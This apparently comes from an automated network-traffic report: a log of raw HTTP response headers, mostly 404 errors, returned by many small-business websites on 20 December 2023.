{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=t2u0tbvWUwoOO1Z2q%2FpauDOwtwvez9Mt15IEhgdbFNqq8F%2BP8aXt60e9kUmfFRNyhScPmBVK%2BisScbgb%2FAAHEIu3GB9xqnBzVFcrFMt0nKPMW%2FCnKqOWkVFeXWmUqb50uYcWKg%2FGn5anIXATI3o%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:24 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:24 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn25.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeDate: Wed, 20 Dec 2023 02:13:24 GMTCache-Control: public, max-age=31536000access-control-allow-origin: access-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-headers: Content-Typecontent-security-policy-report-only: default-src 'self' .a8b.costrict-transport-security: max-age=31536000; includeSubDomainsreferrer-policy: strict-origin-when-cross-originpermissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self)x-frame-options: SAMEORIGINx-content-type-options: nosniffVary: Accept-EncodingX-Cache: Error from cloudfrontVia: 1.1 3088559317e5c464292d9249b963bdb8.cloudfront.net (CloudFront)X-Amz-Cf-Pop: MIA3-C4X-Amz-Cf-Id: HnNIiLDFj7J5oYHvommE2W3sL7F8QSyB9DWKql91ECLNUrvx5_xpaA==
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=418218dce1ee6c20da692277ffb53164; expires=Wed, 20-Dec-2023 03:13:24 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:40 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Y4%2F3F80zrnd0IyDHN1b%2BQfnr%2BOB%2BKY%2BP1FAyjYyDunteK7r10hS%2Bd3VIe%2FXigeLJmh7OP7g03Zn354tdDuZeaFDORkfRrs3UIaDVnUzE8EYAqHQ7C7LmwGhPv8ppuLUz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dad2b6974ca-MIAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:24 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:24 GMT; SameSite=LaxSet-Cookie: _shopify_y=6fd3a9a4-a967-40c4-8db3-ba1f7cd8ddb1; Expires=Thu, 19-Dec-24 02:13:24 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=e3287447-fb7f-462f-a6fb-97477bc86c54; Expires=Wed, 20-Dec-23 02:43:24 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 1584544X-ShardId: 312Vary: AcceptContent-Language: enpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UqI9gxjZ0gaK6yQZNlKKDgtIv5Z7wvSLMkduJR5%2BClem229JJtDQAojwfAYmGt3RmndgNvaBNUGhIwcbXIFLDadkSTk%2Bl%2BRNOuzL4u5WC1jSxOcyVTFkXM0Xh7E0SXzS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dabeada8dd0-MIAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 60X-Sorting-Hat-ShopId: 7475083X-Storefront-Renderer-Rendered: 1Set-Cookie: cart_currency=AUD; path=/; expires=Wed, 03 Jan 2024 02:13:24 GMT; SameSite=LaxSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:24 GMT; SameSite=LaxSet-Cookie: _shopify_y=a3704fe8-81b6-4c67-abb9-ec290b01bad1; Expires=Thu, 19-Dec-24 02:13:24 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxSet-Cookie: _shopify_s=6591b3fe-9422-411b-a30e-6f8d95f01f0d; Expires=Wed, 20-Dec-23 02:43:24 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxLink: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginETag: W/"cacheable:f0fb7e3309d3f2f76aedd45312b6a1f9"X-Cache: missX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 7475083X-ShardId: 60Vary: AcceptContent-Language: enpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesExpires: Wed, 20 Dec 2023 02:13:31 GMTAge: 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:24 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:24 GMTEtag: W/"d3b928bd5836fb6282df4e5a69977809"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BUoAdGM0c2TuYjYzMDY1YmRhN2M1MjAzNWYwZmMxNzhiYTZmOWMz;Secure;Path=/Strict-Transport-Security: max-age=15552000Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: ZQv7Rj87/Ic594wbKX-Frame-Options: SAMEORIGINX-Frame-Options: SAMEORIGINConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038404.88316549277878632688Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:24 GMTX-Served-By: cache-dfw-kdfw8210112-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLquxVSF9nMFA2iLo/JtJR4Qa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalqGyY36XJ7gOwVe0bLQXtjTSJPbf82bsb6B2sopBWZ82S3V6/8eVQe65nonc+dxBAA==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:24 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:24 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:25 GMT; Max-Age=1209600; path=/Cache-Control: privateX-Host: grn128.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text/css">@font-face {font-family: 'Proxima Nova';font-weight: 300;src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot");src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff") format("woff"), url("//cdn2.editmysite.com/compo
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544Vary: Accept-EncodingVary: AcceptX-Frame-Options: DENYX-ShopId: 1584544X-ShardId: 312Content-Language: en-USX-Liquid-Rendered-At: 2023-12-20T02:13:25.259473542ZStrict-Transport-Security: max-age=7889238Set-Cookie: localization=US; path=/; expires=Fri, 20 Dec 2024 02:13:25 GMT; SameSite=LaxSet-Cookie: secure_customer_sig=; path=/; expires=Fri, 20 Dec 2024 02:13:25 GMT; secure; HttpOnly; SameSite=LaxSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USNY%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:25 GMT; SameSite=LaxSet-Cookie: _shopify_y=8f3cee06-9740-4021-9ca0-e476d849f090; Expires=Thu, 19-Dec-24 02:13:25 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=da286ed0-9dea-4b75-992f-3a28275da3f1; Expires=Wed, 20-Dec-23 02:43:25 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxServer-Timing: processing;dur=86X-Shopify-Stage: production
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingSet-Cookie: PHPSESSID=f5c928405ba2609549c20638686baa71; path=/Pragma: no-cacheSet-Cookie: aiovg_rand_seed=2084985675; expires=Thu, 21-Dec-2023 02:13:25 GMT; Max-Age=86400; path=/Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.devnetmedia.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038405.83916548456572930597Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:25 GMTX-Served-By: cache-dfw-kdfw8210176-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLvRKfhx2uNN4hv3eFGgKFZEa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalonAxQ7FfJdoOJDEEi1MsTIWQUJXmoJhQkOWWJPGr57mIbyDKi/iBh8ztsQyqya36g==,2UNV7KOq4oGjA5+PKsX47K15rLvEnClnBsBBVIBt3LYfbJaKSXYQ/lskq2jK6SGP,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845db3aaa44c0c-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 40x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-h2wnzx-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: 1401a8cc-dfa3-47d5-8df9-59bf959cc221X-HubSpot-NotFound: truex-request-id: 1401a8cc-dfa3-47d5-8df9-59bf959cc221X-Trace: 2B21460ECEE3AB0952E89AFCA4AB1C14F906EFD034000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=InQnuqNXG%2F0V8fBKOqYL6NlPX6X3OLawfAAaIp57xbwG30gcm84A7glVAIZBzRbOWpnEKZbJ8AEFnt4DhP0A3sFxkGZgB00y0zECw6eLqRsBlVa1g%2Ffm6CRUncI1tsB2gtUTngWkdR%2B%2BmZ4M8%2F4%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=2d83c9d4949587af521c01ac5e471a19; expires=Wed, 20-Dec-2023 03:13:25 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:39 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:25 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=m48egqd2q2nvr836ao2vr25bg2; path=/Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSAccess-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, AcceptVary: Accept-Encoding,User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeDate: Wed, 20 Dec 2023 02:13:26 GMTCache-Control: public, max-age=31536000access-control-allow-origin: access-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-headers: Content-Typecontent-security-policy-report-only: default-src 'self' .a8b.costrict-transport-security: max-age=31536000; includeSubDomainsreferrer-policy: strict-origin-when-cross-originpermissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self)x-frame-options: SAMEORIGINx-content-type-options: nosniffVary: Accept-EncodingX-Cache: Error from cloudfrontVia: 1.1 6fc0aea2429e74e0c91886621936d56a.cloudfront.net (CloudFront)X-Amz-Cf-Pop: MIA3-C4X-Amz-Cf-Id: fSYiQJGVwkSajfBoE2Jv_9NbyWOFc_SRpG0fsc3300PyU6pxzYCwaQ==
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:26 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038406.2891654951815228518Cache-Control: public,max-age=0,must-revalidateServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:26 GMTAge: 3X-Served-By: cache-dfw-kdfw8210141-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLjBdxec7r7DHGEpZo2ij+25kavE0ZtMXws1mfakihq4B,2d58ifebGbosy5xc+FRalqGyY36XJ7gOwVe0bLQXtjTSJPbf82bsb6B2sopBWZ82S3V6/8eVQe65nonc+dxBAA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGPVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=418218dce1ee6c20da692277ffb53164; expires=Wed, 20-Dec-2023 03:13:26 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:41 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=brI84dNrQn4OB0z%2BtLrlcBpGq0HC9140dbzYvXVwGouSkakBGByqCS7%2B%2F2%2BsEntsRlMsd8HWsJlqhl3aeXn5ZCyZsPEDHX2BpWYGWaApNcxDUossb8sJpc%2FdILTMszmH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845db79f4b334d-MIAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038406.7231654087442210879Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:26 GMTX-Served-By: cache-dfw-kdfw8210114-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLupO/enPqTWY4Qy4iOZWWztGkFvVdT2Nq6f3Hedj7ewB,2d58ifebGbosy5xc+FRaluk32gyk0vT7DgIiSEBs3hHTNJk8ZjUOj+fZS3FQ2i1UyHq7dGLu5PvLWGpNJH+wlA==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,JrkgFGO7U7bjOEi/EuK4OmGy0AMuDj9WzV7MOlw9PWo=,0gGrL7iazMoiuqlb7dEO3e/kqv1crbHRlba79Pts+CcB8BMFbAfksPc98d03q8KwMzrlPmWu4KwuxqFFXL+rxQ==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038406.8421654920550512748Cache-Control: public,max-age=0,must-revalidateServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:26 GMTAge: 3X-Served-By: cache-dfw-kdfw8210101-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv0cm7On4dir39PTYYK13tG9,2d58ifebGbosy5xc+FRallByb7qeZuWAHS3nxM+sbLDIGLFwb2pmkcrLHBWfsAnTlHe3t+38p+RghltS0V/JBQ==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nLVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
